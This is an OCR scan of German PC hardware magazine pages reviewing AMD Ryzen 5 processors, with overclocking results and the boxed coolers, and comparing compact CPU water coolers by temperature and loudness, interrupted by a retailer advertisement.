% (entspricht vier Prozentpunkten) 
hinter sich. Ab Werk ist dabei aber 
speziell der R5-1400 durch seinen 
niedrigen Takt von 3,2 GHz bei Last 
auf allen Kernen nicht der allerflot- 
teste. Gerade er benötigt einen be- 
herzten User-Eingriff im UEFI, um 
ihm zumindest die so gut wie sicher 
möglichen 3,6 GHz zu gönnen - die 
sind übrigens auch mit dem Boxed- 
Kühler noch problemlos beherrsch- 
bar, doch dazu später mehr. 


Als Bonus, aber auch große Unbe- 
kannte kommt bei Ryzen die auf 
den jeweiligen Preispunkt bezogen 
größere Multithreading-Fähigkeit 
hinzu - entweder durch ein Mehr 
an Kernen oder durch zusätzlich 
verfügbares SMT. Wie stark sich die- 
ser Bonus künftig auswirken wird, 
ist indes ungewiss. Auch eine von 
AMD auf einer Investorenkonferenz 
argumentativ herangezogene Studie 
von Trias Research bestätigt, dass 
selbst im Server-Bereich die meisten 
Anwendungen bei acht oder weni- 
ger Threads stehengeblieben sind 
und nur wenige 16 oder mehr par- 
allele Threads nutzen können. Die 
zweite Unbekannte ist der gegen- 
über den Core-CPUs pro Takt nur 
halb so hohe AVX2-Durchsatz. 


Boxed- bzw. Wraith-Kühler 

Auf mehrfachen Leserwunsch ha- 
ben wir uns anhand des R5-1400 
und des R5-1600 die jeweils beilie- 
genden Boxed-Kühler außerhalb 
regulären Testplattform 
einmal näher angeschaut - eine Mi- 
schung aus Praxis und Hands-on so- 
zusagen. Einen optischen Eindruck 
vermittelt das Aufmacherbild dieses 
Artikels. Beide Kühler setzen auf 
einen Ventilator mit 85 Millimeter 
Durchmesser auf einem nach allen 
vier Seiten offenen Aluminium-Pro- 
fil und werden über vier federgela- 
gerte Schrauben mit der Standard- 
Backplate verschraubt - bei vielen 


unserer 


www.pcgameshardware.de 


Boards müssen dafür zuvor die mit 
jeweils zwei Schrauben befestigten 
aufgeschraubten Halteelemente 
entfernt werden. Der dem R5-1600 
beiliegende Wraith Spire besitzt ei- 
nen Kupferkern und einen 5-blätt- 
rigen Rotor mit starker Biegung der 
einzelnen Blätter auf dem 39 Mil- 
limeter hohen Alu-Profil. Er dreht 
mit bis zu 2.850 U/min. Der Wraith 
Stealth des R5-1400 ist nur 21 Milli- 
meter hoch, besteht durchweg aus 
Alu und ist mit einem 7-blättrigen 
Rotor mit geringerer Biegung aus- 
gestattet. Er erreicht maximal 2.000 
U/min. Während beide keine abso- 
luten Silent-Tipps sind und in stiller 
Umgebung auch im Leerlauf leicht 
hörbar sind, drehen sie jedoch nur 
bei Volllast deutlich hörbar auf. Für 
die ersten Schritte inklusive etwas 
OC sind sie auf jeden Fall ausrei- 
chend leistungsstark. 


Overclocking-Versuche 

Der freie Ryzen-Multi bei allen 
Modellen verspricht auch beim 
R5-1400 und -1600 noch ein we- 
nig mehr Leistung. Wieviel genau 
hängt natürlich immer vom Glück 
und guter Kühlung ab. Unsere bei- 


den Exemplare aus dem Handel, 
welche wir zusätzlich zu den AMD- 
Testmustern erhielten, ließen sich 
jedenfalls stabil zu 3,9 GHz über- 
reden, ohne dabei die Spannungs- 
schraube zu überdrehen, liefen 
jedoch hart an der Grenze. Sobald 
die Temperaturen etwa durch Ver- 
wendung des Boxed-Kühlers über 
die 80-°C-Marke anstiegen, traten 
Instabilitäten auf. Die 4-GHz-Marke 
wollte auch bis 1,415 Volt und noch 
höheren Temperaturen nicht stabil 
fallen. 


Optimal ist es, auf ein paar MHz zu 
verzichten und dafür eine deutli- 
che Reduktion der nötigen Span- 
nung zu erreichen. So schaffte un- 
ser R5-1600 3,8 GHz mit nur 1,20 
Volt, mit dem R5-1400 kamen wir 
bei 1,325 Volt auf 3,85 GHz. Die- 
se Werte sind auch für die jeweils 
beiliegenden Boxed-Kühler zu be- 
wältigen, mit denen die folgenden 
Werte entstanden sind: 61,5 °C 
Durchschnitts-Temperatur (,Ictl/ 
Tdie^) bei 1.800 Q-U/min nach 30 
Minuten Crysis 3 sind vollkommen 
unbedenklich für den R5-1400. 
Dazu kommt das Leistungsplus 


durch das OC. Rund 17 ?6 mehr Fps 
(94/108,8 Min/Avg.-Fps) waren bei 
16 % hóherer Leistungsaufnahme 
móglich. Unser E-Tail-Muster des R5- 
1600 schaffte mit 3,8 GHz rund 9 % 
hóhere Fps und schloss damit zum 
R5-1600X auf - bei circa 8 % mehr 
Leistungsaufnahme als im Standard- 
Betrieb. Der Wraith Spire drehte 
nach 30 Crysis-3-Minuten mit 2.150 
U/min bei einer durchschnittli- 
chen Chip-Temperatur von 59,9 °C 
- prima! (cs) 


Fazit Нагйшаге 


Ryzen 5 und 7 

Aus Preis-Leistungssicht schlagen die 
Ryzen-5-Modelle 1600, 1500X und 
1400 alle Intel-CPUs ab vier Kernen, also 
dem für Spieler relevanten Segment. Die 
Sechs- oder gar Achtkerner liegen dies- 
bezüglich noch weiter in Front. AMD 
muss in der absoluten Performance 
noch den einen oder anderen Treffer 
einstecken, trotzdem dürfte mit einem 
aktuellen Ryzen-System (abhängig vom 
Preissegment) kaum der Wunsch nach 
mehr Leistung aufkommen, OC-Option 
und Threadreserve sei Dank. 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


Prozessor 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verhältnis 


PREIS-LEISTUNGS-TIPP 
Буте $ M00 


Hardware 


AMD Ryzen 5 1600 
www.pcgh.de/preis/1604879 


AMD Ryzen 5 1500X 
www.pcgh.de/preis/1604878 


epes 


SYzeN 


AMD Ryzen 5 1400 
www.pcgh.de/preis/1604876 


Ca. 210 €/, knapp befriedigend" (3-) 


Ca. 190 €/, voll ausreichend" (4+) 


Ca. 165 €/, voll ausreichend" (4+) 


Für Mainboards mit Sockel ... 


AMA (Sockel 1331) AMA (Sockel 1331) 


AMA (Sockel 1331) 


Codename 


Summit Ridge Summit Ridge 


Summit Ridge 


Anzahl Kerne/Module, Uncore-/L3-Takt 


6 (12), wie Speicher-/Kerntakt 


4 (8), wie Speicher-/Kerntakt 


6 (12), wie Speicher-/Kerntakt 


Basistakt (Turbo für alle und einen Kern) 


3,2 GHz (3,4-3,7 GHz) 


3,5 GHz (3,6-3,9 GHz) 


3,2 GHz (2,2-3,45 GHz) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/64 KiByte 


32 KiByte/64 KiByte 


32 KiByte/64 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


512 KiByte/16 MiByte 


512 KiByte/16 MiByte 


512 KiByte/8 MiByte 


Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 


Grafikeinheit 


4,8 Mrd., 14 nm, unbekannt 
pu 


Nicht vorhanden Nicht vorhanden 


4,8 Mrd., 14 nm, unbekannt 


4,8 Mrd., 14 nm, unbekannt 


Nicht vorhanden 


Befehlssätze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 2, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


Integrierte PCI-Express-Lanes 
Eigenschaften (20 % der Endnote) - 


20x PCI-Express 3.0 (+4 für /O-Hub) 


1,90 


2,04 


20x PCI-Express 3.0 


(+4 für l/O-Hub) | 20x PCI-Express 3.0 (+4 für /O-Hub) 


221 = 


Offener Multiplikator* Ja (bis 63,75) Ja (bis 63,75) Ja (bis 63,75) 

Übertaktung per Referenztakt?* Ja Ja Ja 

Speicherkanäle (и. max. Geschwindigkeit*/* *) 2x DDR4-2667 SR/-2400 DR 2х DDR4-2667 SR/-2400 DR 2x DDR4-2667 SR/-2400 DR 
TDP laut Hersteller** 65 Watt 65 Watt 65 Watt 

Systemverbrauch Leerlauf abzüglich Grafikkarte |30 Watt 28 Watt 29 Watt 

Systemverbrauch (Anno/C3/TW3)** 216/303/267 Watt 214/275/254 Watt 204/258/244 Watt 
Systemverbrauch Spiele (Durchschnitt)* * 252 Watt 244 Watt 232 Watt 


Systemverbrauch Anwendungen (Durchschnitt)* we 
Leistung (60 % der Endnote) - 


149 Watt 


137 Watt 


126 Watt 


Spieleindex (60 % der Leistungsnote) 75% 70,9 96 62,2% 
Anwendungsindex (40 % der Leistungsnote) 65,1 96 51,1 96 44,7 % 
O Hohe Le g, bestes Pre +) er 200 Euro Optio d © g e g 
e g d dO ög 
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Der Sommer wird nass 


Zuverlàssig steigt jedes Jahr zusammen mit den AuBentemperturen das Interesse an Wasserkühlun- 


gen. Wir prüfen, ob aktuelle CPU-Kompaktlósungen ihre Leistungsversprechen einlósen. 


icht nur PC-Spieler, sondern 
N auch ihre Systeme stehen bei 
heißem Sommerwetter vor der 
Qual der Wahl: Lärmende Venti- 
latoren anstellen? Aktivitäten ein- 
stellen? Oder kühlende Flüssigkeit 
einsetzen? Letztere Variante findet 
in der Regel viel Zuspruch, ein 
modularer Wasserkreislauf für den 
heimischen Spielerechner über- 
schreitet aber schnell das Budget 
und den Bastelwillen des Eigentü- 
Kompaktwasserkühlungen 
versprechen zu deutlich angeneh- 
meren Preisen, die hohe Leistung 
einer Wasserkühlung mit der ein- 
fachen Handhabung eines Luftküh- 
lers zu kombinieren. 


тег. 


Еїпе Frage der GróBe 

Letzteres gelingt, soviel können wir 
vorwegnehmen, allen Testteilneh- 
Kompaktwasserkühlungen 
werden fertig zusammengebaut 
und gefüllt geliefert (bei EVGA 
sind sogar schon die Radiatorlüfter 
montiert) und müssen nur noch 


mern: 


eingebaut werden. Das geht dank 
der kompakten CPU-Kühler-Pum- 
pen-Einheiten sogar leichter als mit 
unhandlichen High-End-Luftküh- 
lern, zumindest wenn das Gehäuse 
genug Platz für den Radiator bietet. 


Beachten Sie hierbei, dass Radia- 
toren immer etwas größer als die 
auf ihnen montierten Lüfter sind 
und eine gewisse Mindestgröße 
haben sollten. Der mit Wasserküh- 
lungen assoziierte Leistungsvorteil 
resultiert nämlich nicht aus einer 
prinzipiellen Überlegenheit gegen- 
über guten Heatpipe-Luftkühlern, 
sondern nahezu ausschließlich aus 
der Möglichkeit, einen deutlich 
größeren Wärmetauscher zu nut- 
zen. In Mini-PCs kann dies bereits 
der Wechsel von einem 92-mm- 
Luftkühler auf eine 120-mm-Kom- 
paktwasserkühlung sein, für die 
meisten Nutzer stellen sich aber 
erst bei Modellen mit zwei neben- 
einanderliegenden 120-mm-Lüf- 
tern echte Vorteile ein. Diese auch 
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missverständlich „240er“ genannte 
Dual-120-mm-Größenklasse würde 
als starrer Kühlkörper schlicht in 
kein Gehäuse passen und erfordert 
somit die flexiblen Schläuche einer 
Wasserkühlung zur unabhängigen 
Platzierung des Wärmetauschers. 
Noch größere Radiatoren, wie sie 
bei modularen Wasserkühlungen 
mit GPU-Integration üblich sind, 
bieten für Kompaktwasserküh- 
lungen dagegen kaum Vorteile. 
Selbst auf unserer 150-W-Test-CPU 
sind die Temperaturen bereits mit 
2x120 mm so gut, dass 2x 140-mm- 
oder 3x120-mm-Designs 
besser abschneiden, aber deutlich 
mehr Platz erfordern. 


kaum 


Testplattform 
Um dies zu veranschaulichen 
(und weil 2x120-mm-Testmuster 
nicht für alle Baureihen verfüg- 
bar waren), nehmen neben fünf 
2x120-mm-Lósungen auch drei 
größere Kandidaten 
Marktübersicht teil. 


an dieser 
Deren Test- 


durchgänge unterscheiden sich 
nur in der abweichenden Referenz- 
belüftung (Bitte beachten Sie die 
unterschiedlichen Lautheiten in 
der Referenzlüfter-Messung!), sonst 
bleiben wir zwecks Vergleich- 
barkeit beim bewährten PCGH- 
Testprozedere auf Basis eines 
Sockel-2011-Sandy-Bridge-EP-Xeon. 
Voll ausgelastet mit Core Damage 
produziert dieser annähernd seine 
spezifizierten 150 W Abwärme und 
steht damit repräsentativ für die 
leistungsfähigsten Spieler-CPUs in 
übertaktetem Zustand, ohne sei- 
ne Spezifikationen zu verletzen. 
Verglichen mit Sockel-1150- oder 


1151-Mittelklassesystemen profi- 
tieren wir außerdem von den ex- 
akteren Temperaturwerten eines 
Prozessors mit verlötetem Heat- 
spreader. Auf einem nicht übertak- 
teten Intel-Mainstream-System wür- 
den die Abstände zwischen den 
Kontrahenten kleiner ausfallen, 
die Absoluttemperaturen aufgrund 
des schlechteren Wärmeübergangs 
innerhalb der CPU aber möglicher- 
weise höher. 
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Kühlleistung Serienlüfter 


Lautheit Serienlüfter 


CPU-Temperatur; Core Damage, 100 Prozent Lüfterdrehzahl Serienlüfter 


Lüfterlautheit in 50 cm Entfernung, Serienlüfter 100 Prozent 


NZXT Kraken X62 2x 140 41,5 Antec Mercury 2x 120 3,3 
EVGA CLC 2x 140 41,5 Cooler Master Master Liquid 2x 120 3,9 
Fractal Design Celsius 3x 120 43,1 Be Quiet Silent Loop 2x 120 4,3 
Cooler Master Master Liquid 2x 120 45,2 Fractal Design Celsius 2x 120 4,6 
Fractal Design Celsius 2x 120 45,4 Fractal Design Celsius 3x 120 5,3 
Be Quiet Silent Loop 2x 120 472 NZXT Kraken X62 2x 140 6,3 
ID-Cooling Frostflow 2x 120 47,6 ID-Cooling Frostflow 2x 120 6,7 
Antec Mercury 2x 120 51,5 EVGA CLC 2x 140 10,8 
CPU-Temperatur; Core Damage, 75 Prozent Lüfterdrehzahl Serienlüfter Lüfterlautheit in 50 cm Entfernung, Serienlüfter 75 Prozent 
NZXT Kraken X62 2x 140 41,7 Antec Mercury 2x 120 1,5 
EVGA CLC 2x 140 42,2 Cooler Master Master Liquid 2x 120 1,6 
Fractal Design Celsius 3x 120 45,0 Be Quiet Silent Loop 2x 120 2,0 
Fractal Design Celsius 2x 120 46,9 Fractal Design Celsius 2x 120 2,1 
Cooler Master Master Liquid 2x 120 47,5 Fractal Design Celsius 3x 120 2,8 
Be Quiet Silent Loop 2x 120 48,5 NZXT Kraken X62 2x 140 3,4 
ID-Cooling Frostflow 2x 120 49,3 ID-Cooling Frostflow 2x 120 3,2 
Antec Mercury 2x 120 54,6 EVGA CLC 2x 140 5,7 
CPU-Temperatur; Core Damage, 50 Prozent Lüfterdrehzahl Serienlüfter Lüfterlautheit in 50 cm Entfernung, Serienlüfter 50 Prozent 
NZXT Kraken X62 2x 140 43,6 Antec Mercury 2x 120 В 0,4 
EVGA CLC 2x 140 44,9 Cooler Master Master Liquid 2x 120 В 0,4 
Fractal Design Celsius 3x 120 49,1 Be Quiet Silent Loop 2х 120 90,5 
Fractal Design Celsius 2x 120 51,6 Fractal Design Celsius 2x 120 0,7 
Be Quiet Silent Loop 2x 120 51,7 Fractal Design Celsius 3x 120 0,9 
ID-Cooling Frostflow 2x 120 52,1 ID-Cooling Frostflow 2x 120 0,9 
Cooler Master Master Liquid 2x 120 52,7 NZXT Kraken X62 2x 140 1,0 
Antec Mercury 2x 120 60,6 EVGA CLC 2x 140 1,9 
System: Xeon E5-2687W (150 W TDP), 3,4 GHz/1,068 V unter Last; Gigabyte X79-UD7, Grad Celsius System: Kühler freistehend, Lüfterregelung mit Zalman 2М-МЕСЗ; Messung frontal (bei Sone 
Core Damage; EKL Permafrost; offener Aufbau, frontaler Lüfter 180 mm 330 U/min Be- Besser Fractal Design mit Radiator zwischen Lüfter und Messgerät) Bemerkungen: Den meisten Basar 


merkungen: Größere Radiatoren bringen einen kleinen, aber uneinholbaren Vorsprung. 


Kompaktwasserkühlungen liegen noch immer unnötig und unangenehm laute Lüfter bei. 
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Testverfahren 
Temperaturmessungen müssen die 
Testteilnehmer auf der genannten 
Plattform einmal mit Serien- und 
einmal mit Referenzlüftern bei je- 
weils 100, 75 und 50 Prozent der 
Maximaldrehzahl bestehen. Als Ge- 
genpol messen wir die Lüfterlaut- 
heit bei diesen Settings - schließ- 
lich kann jeder gute Temperaturen 
mit einem extra starken, extra lau- 
ten Lüfter erreichen. Nutzen möch- 
te man derartige Kühllösungen 
aber nicht. Begleitet werden diese 
beiden Messreihen von einer Tem- 
peraturmessung mit auf einheitlich 
1,0 Sone eingeregelten Serienlüf- 
tern. Diese erlaubt unabhängig 
vom anvisierten Drehzahlspektrum 
einen direkten Vergleich der Kühl- 
effizienz verschiedener Produkte. 


Der Effizienzvorteil der größeren 
Testteilnehmer geht dabei mit 
Abzügen in der Eigenschaftsnote 
wegen des erhöhten Platzbedarfes 
einher. Hier platzieren wir auch 
ein Komplett neues Wertungskrite- 
rium: Künftig überprüfen wir in al- 
len Kühlungstests die Anpresskraft 
der LGA-1151-Halterung (siehe 


Seite 64). Auffälligkeiten gab es in 
dieser Marktübersicht aber keine, 
fünf der Halterungen sind ohnehin 
Standard-Asetek-OEM-Designs. 


Cooler Master Master Liquid 240: 
Führend auf ganzer Linie. Einen 
derart klaren Testsieger gibt es nur 
selten. Dabei macht Cooler Master 
eigentlich nichts außergewöhnli- 
ches, aber vieles ein kleines Biss- 
chen besser und vor allen Dingen 
nichts falsch. Der größte Kritik- 
punkt während des Tests waren 
Elektronikgeräusche, die aber nur 
an unserer berüchtigten ZM-MFC3- 
Lüftersteuerung und 
selbst dann nur während Drehzah- 
länderungen. Ist die Zieldrehzahl 
erreicht (oder wird eine andere 
Steuerung eingesetzt), arbeiteten 
die Master-Fan-Pro-ähnlichen Lüf- 


auftreten 


ter unauffällig - und erstaunlich 
effizient. Obwohl die schmalen 
Lüfterblätter und der nicht quad- 
ratische Rahmen eher an Gehäuse- 
lüfter erinnern, reicht es auf dem 
Master-Liquid-Radiator beinahe für 
einen neuen Effizienz-Rekord in der 
2x-120-mm-Klasse. In Verbindung 
mit dem vergleichsweise gemäßig- 


Kühlleistung Referenzlüfter 


CPU-Temperatur; Core Damage, 100 Prozent Lüfterdrehzahl Referenzlüfter 


NZXT Kraken X62 2x 140 3.2 
ID-Cooling Frostflow 2x 120 Xu 44,0 
EVGA СІС 2x 140 EX 44,9 
Fractal Design Celsius Зх 120 =a 46,0 
Cooler Master Master Liquid 2х 120 a 47,4 
Fractal Design Celsius 2x 120 === 
Be Quiet Silent Loop 2x 120 ВЕН 48,9 
Antec Mercury 2х 120 == 
CPU-Temperatur; Core Damage, 75 Prozent Lüfterdrehzahl Referenzlüfter 


NZXT Kraken X62 2х 140 a 45,7 

EVGA СІС 2x 140 EX 47,7 

Fractal Design Celsius Зх 120 = 
Fractal Design Celsius 2x 120 [Xu 50,3 
Cooler Master Master Liquid 2х 120 ===' 
Be Quiet Silent Loop 2x 120 Xem 50,8 

ID-Cooling Frostflow 2x 120 =a 
Antec Mercury 2х 120 =s 


CPU-Temperatur; Core Damage, 50 Prozent Lüfterdrehzahl Referenzlüfter 


NZXT Kraken X62 2x 140 52,8 
Be Quiet Silent Loop 2x 120 =F. 
Cooler Master Master Liquid 2x 120 == 53 8 
Fractal Design Celsius Зх 120 == 
ID-Cooling Frostflow 2x 120 XU 55,5 
EVGA СІС 2х 140 =s 
Antec Mercury 2х 120 = 
Fractal Design Celsius 2x 120 añ 1 


System: Xeon E5-2687W (150 W ТОР), 3,4 GHz/1,068 V; Gigabyte X79-UD7; ЕКІ Permafrost; 
offener Aufbau, frontaler Lüfter 180 mm 330 U/min Bemerkungen: Lautheit 100%/75%/50% 
0,9/0,3/0,1 Sone (2x 140 mm), 1,7/0,6/0,1 Sone (2x 120 mm), 2,3/0,9/0,1 Sone (3x 360 mm) 


Grad Selsius 
< Besser 


56 


PC Games Hardware | 07/17 


ten Drehzahlbereich schnappt sich 
Cooler Master so die bislang beste 
Dual-120-mm-Leistungsnote; ledig- 
lich für den Silent-Bereich gibt es 
bessere Alternativen. Zum einen 
wegen der  durchschnittlichen 
Minimaldrehzahl, 
weil die Cooler-Master-Pumpe auf 
einem Mainboard installiert ,nur* 


zum anderen 


leise, aber noch nicht Referenzklas- 
se ist. Dafür punktet Cooler Mas- 
ter beim Preis: Obwohl die Optik 
mit ummantelten Schlàuchen und 
beleuchtetem Logo nahe an der 
Master-Liquid-Pro-Reihe liegt, gibt 
es die Master Liquid 240 schon für 
85 Euro. 


NZXT Kraken X62: Klasse durch 
Masse. Am preislich gegenüberlie- 
genden Ende des Testfeldes findet 
sich die Kraken X62. Für 150 Euro 
bekommt man hier unter anderem 
zahlreiche  Software-Features in 
der Pumpeneinheit. So lässt sich 
via USB nicht nur die unter einer 
verspiegelten Oberfläche schlum- 


mernde Beleuchtung nach Wasser-, 
CPU- oder GPU-Temperatur regeln, 
sondern auch eine eigene Mehr- 
punkt-Regelkurve für Pumpen- und 


Lüftergeschwindigkeit definieren. 
Insbesondere Letzteres ist ein ech- 
ter Mehrwert, denn Mainboard-ei- 
gene Steuerungssysteme reagieren 
auf CPU-Lastschwankungen oft mit 
unnötig lauten Drehzahlsteigerun- 
gen, obwohl ein träger Wasserküh- 
lungskreislauf kurze Lastspitzen 
einfach wegpuffern kann. Sollte 
langfristig mehr Kühlleistung be- 
nötigt werden, kann NZXT dank 
des großen 2x140-mm-Radiators 
aber ebenfalls mitreden. Was sich 
nach einer kleinen Änderung an- 
hört, entspricht nämlich einer 36 
Prozent größeren Oberfläche und 
führt nicht nur zu einer sehr hohen 
maximalen Kühlleistung, sondern 
auch einer erstklassigen Kühlef- 
fizienz. Keine andere bislang von 
PCGH getestete Kompaktwasser- 
kühlung erreicht mit 1,0-Sone lau- 
ten Serienlüftern so niedrige Tem- 
peraturen. Leider berücksichtigt 
NZXT das nicht bei der maximalen 
Lüfterdrehzahl und stellt sich mit 
einer Lautheit von bis zu 6,3 Sone 
selbst ein Bein - kälter als kalt wird 
es dadurch nicht, aber lauter als 
wünschenswert. Auch die Pumpe 
bleibt selbst runtergereglt hörbar. 


NZXT platziert die (in Intensität, Farbe und Muster konfigurierbare) Beleuchtung 
zwischen zwei Spiegeln, was einen optischen Tunneleffekt hervorruft. 


Halterung, Bodenplatte, Anschlüsse, einseitig lackierter Radiator — die Silent Loop 
erinnert stark an modulare Alphacool-Wasserkühlungsprodukte. 
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Elle Uess 


Enorme Kühlperformance für 
starke Gaming-PCs 


Sowohl der mächtige Olymp Doppelturm-Kühler als 
auch der massive Matterhorn Tower-Kühler von 
Alpenföhn bändigen jede noch so hitzige CPU und 
bleiben dank 6 Kupfer-Heatpipes und 
WingBoost-PWM-Lüftern dabei flüsterleise! 


KING MOD 


KALEIDOSKOP 


[7-Т1ШК, GTA 1080 


Extreme Gaming-Performance 
mit oder ohne Overclocking 
F ater nberaubende King Mod 
Saming-System wurde ein 
nthoo Evolv ATX Midi-Tower 
t Se ilen aus Hartglas 
-LED-Strips und 
tattet wird. 


pe ra tur gehalten mittels 
erhorn Black Edition 


Intel® Inside 
Herausragende Leistung Outside. 


( Perfektion bis ins Belastungstests auf maximale A 36 Monate Garantie mit eg? $ Höchste Kompatibilität 
P kleinste Detail Stabilität und Performance A 2 Jahren Pick-Up-Service ^ aller Komponenten 


Der King Mod Service macht 


Caseking GmbH, Gaußstr. 1, 10589 Berlin eMail: info@caseking.de tel. bestellen: 030 52 68 473 00 www.caseking.de 
Alle Preisangaben inkl. 19% MwSt., exkl. Versandkosten. Irrtümer, Druckfehler und Preisänderungen vorbehalten. 


Intel, das Intel Logo, Intel Inside, Intel Core, und Core Inside sind Marken der Intel Corporation in den USA und anderen Ländern. 
"Finanzierung gültig für alle Caseking PC-Systeme 
Barzahlungspreis entspricht dem Nettodarlehensbetrag. Finanzierungsbeispiel: Nettodarlehnsbetrag von 499,90€. Effektiver Zins von 9,9% bei einer Laufzeit von 24 Monaten entspricht einem gebundenen Sollzins von 9,5% p. a. Bonität vorrausgesetzt 
Partner ist die Targobank. Die Angaben stellen zugleich das 2/3 Beispiel gem. $ 6 a Abs. 3 PAngV dar. Technische Änderungen, Irrtümer und Druckfehler vorbehalten 
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Be Quiet Silent Loop 240: Hochwer- 
tige Teile, gutes Gesamtpaket. Ein 
Silent-Lüfter-Spezialist steigt in ein 
Marktsegment ein, in dem zu laute 
Lüfter das grófšte Problem sind - 
so beginnen Märchen. Und die Ge- 
schichte der Silent Loop, die dank 
OEM-Fertiger Alphacool auch noch 
Wasserkühlungs- 
komponenten zurückgreift. Den 
Nexxxos-ST-Kupfer-Radiator haben 
wir beispielsweise nicht nur in der 
PCGH 10/2014 empfohlen und für 
für den РССН-0,1-$опе-РС (siehe 
06/2017) verwendet, auch bei Al- 
phacools eigener Kompaktwasser- 
kühlung Eisbaer (06/2016) kommt 
er zum Einsatz. Von Letzterer erbt 
die Silent Loop auch Schläuche, An- 
schlüsse, Kühlerbodenplatte und 
Pumpenmechanik; neu sind hin- 
gegen das wesentlich elegantere, 
kompaktere Gehäuse und die deut- 
lich leisere Abstimmung der Pum- 
pe. Leider darf diese im Gegenzug 
nur noch mit 12 Volt betrieben wer- 
den - im Gegensatz zur gedrossel- 
ten Eisbaer verfehlt die Silent Loop 
deswegen knapp die Ultra-Silent- 
Tauglichkeit. Ebenfalls verschwun- 
den sind Schnelltrennkupplungen 


auf modulare 


und der integrierte Ausgleichsbe- 
hälter, sodass eine Erweiterung 
der Silent Loop aufwendiger ist 
und mehr Zubehör erfordert. Ver- 
glichen mit den größtenteils gar 
nicht erweiterbaren Konkurrenten 
spielt Be Quiet trotzdem in einer 
eigenen Liga, dank standardisierter 
Verbindungen und hochwertiger 
Materialien lassen sich hier alle 
Komponenten bei einem Wechsel 
in die Welt modularer Wasserküh- 
lungen weiterverwenden. Wider 
Erwarten der größte Schwach- 
punkt der Silent Loop sind damit 
die Pure-Wings-Lüfter. Diese bieten 
zwar die Aerodynamik der renom- 
mierten Silent-Wings und haben 
damit große Vorteile gegenüber 
den minderwertigen Lüftern vie- 
ler Kompaktwasserkühlungen. Mit 
ihren offenen Rahmen verschen- 
ken sie im Einsatz auf Radiatoren 
aber Leistung und zudem wählt Be 
Quiet eine „be noisy“-Abstimmung. 
Über 2.000 U/min und 4,3 Sone as- 
soziiert man sonst nicht mit dem 
Markennamen und sie können aus 
dem für Ultra-Silent-Betrieb opti- 
mierten Radiator auch nur wenig 
Mehrleistung herausholen. 


Radiatorlüfter: Saugen oder Blasen? 


„Lüfter bläst Luft auf Lamellen” — diesem Prinzip folgen beinahe alle CPU-Kühlungen. 
Bei Luftkühlern ist dies auch sinnvoll, denn der gerichtete Luftstrom hinter einem Lüf- 
ter lässt sich gezielt auf die offenen Lamellen lenken, während die auf der Vorderseite 
angesaugte Luft auch von der Seite her nachströmen kann. Wasserkühlungen dagegen 
nutzen seitlich geschlossene Radiatoren — hier muss die Luft zwingend durch Radiator 
und Lüfter strömen, unabhängig davon, ob der Lüfter sie durch den Wärmetauscher 
bläst oder durch diesen hindurch ansaugt. Allein EK Water Blocks’ Predator (PCGH 
03/2016) nutzte die umgekehrte Bauweise und das nur, weil im Radiator integrierte 
Pumpe und Ausgleichsbehälter die Platzierung der Lüfter zwischen Wärmetauscher 
und Gehäusewand erzwangen. Bei der sinnvollerweise von EK Water Blocks empfoh- 
len Montage im Deckel mit nach oben gerichteten Luftstrom ergab sich in diesem 
Sonderfall automatisch eine saugende Konfiguration. Fractal Designs Celsius-Radiator 
kennt diese Einschränkung nicht und zugunsten einer etwas besseren CPU-Temperatur 


та! 


ШИ ТЕ 


1,0-Sone-Messung 


CPU-Temperatur; Core Damage, Serienlüfter bei 1,0 Sone 
NZXT Kraken X62 2x 140 ЖШШЕ 43,6 
EVGA СІС 2x 140 47,3 
EKWB Predator Зх 120 = == 
Fractal Design Celsius Зх 120 h 48,2 
Fractal Design Celsius 2x 120 ns 49,1 
Cooler Master Master Liquid 2х 120 ra 19,1 
Corsair Hydro H110i СТ 2х 140 =n, 
Be Quiet Silent Loop 2x 120 E 50,4 
ID-Cooling Frostflow 2x 120 M 51,7 
Antec Mercury 2х 120 M 57,9 


System: Xeon E5-2687W (150 W TDP), frontaler Lüfter 180 mm 330 U/min Bemerkungen: 
Eine effiziente Kühlung braucht neben einem großen Radiator auch gute Lüfter. Zur besseren 
Orientierung haben wir die Auflistung um zwei Kandidaten aus der PCGH 03/2016 erweitert. 


Grad Celsius 
< Besser 


Fractal Design Celsius S24 und S36: 
GróBe ist nicht alles. Platz vier 
und fünf unserer Marktübersicht 
belegt Fractal Designs 
Kompaktwasserkühlung 
verschiedenen Größen, die wir ex- 


neueste 
in zwei 


emplarisch vergleichen möchten. 
Die Reihenfolge macht hierbei be- 
reits deutlich: Die höhere Kühlleis- 
tung der 3x120-mm-Version wird 
durch die lautere Geräuschkulisse 
fast vollständig aufgewogen; der 
etwas höheren Kühlefizienz steht 


ein deutlich größerer Platzbedarf 
gegenüber. Dafür verlangt Frac- 
tal Design für 50 Prozent mehr 
Kühlfläche und einen Lüfter extra 
aber auch gerade einmal 10 Euro 
Aufpreis, was die große Variante 
bei ausreichend Platz im Gehäuse 
durchaus attraktiv macht. Beiden 
Celsius-Ausführungen gemein ist 
die Pumpeneinheit mit integrierter 
Lüftersteuerung. Im Gegensatz zu 
NZXT erlaubt Fractal Design nur 
eine Deaktivierung der Steuerung 


(und zuungunsten der Gehäuselüftung) wird ein in das Gehäuse gerichteter Luftstrom 
empfohlen. Trotzdem spricht sich der Hersteller als einziger für einen saugenden Lüfter 
aus (Reihenfolge in Richtung des Luftstroms: Gehäusedeckel — Radiator — Lüfter). Das 
soll die Lautheit reduzieren und wäre eigentlich bei allen Kühlungen unseres Verglei- 
ches möglich. Um einen direkten Vergleich zu bieten, haben wir deswegen die Celsius 
524 einmal in der von Fractal Design empfohlenen saugenden und einmal in der von 
allen anderen Herstellern genutzten blasenden Konfiguration getestet. Das Ergebnis: 
Blasend bei 100 Prozent PWM steigt die Lautheit tatsächlich leicht an — weil die Lüf- 


Vorsprung bei der Kühlleistung. 


er 50 U/min schneller laufen. Misst man dagegen bei gleicher Drehzahl, ergeben sich, 
auch mit Radiator zwischen Geráuschquelle und Messmikrofon, beinahe identische 
Lautheitswerte. Im Zweifelsfall ist die saugende Variante sogar leicht lauter. Trotzdem 
ist die saugende Montage keine schlechte Idee, denn wir messen einen minimalen 


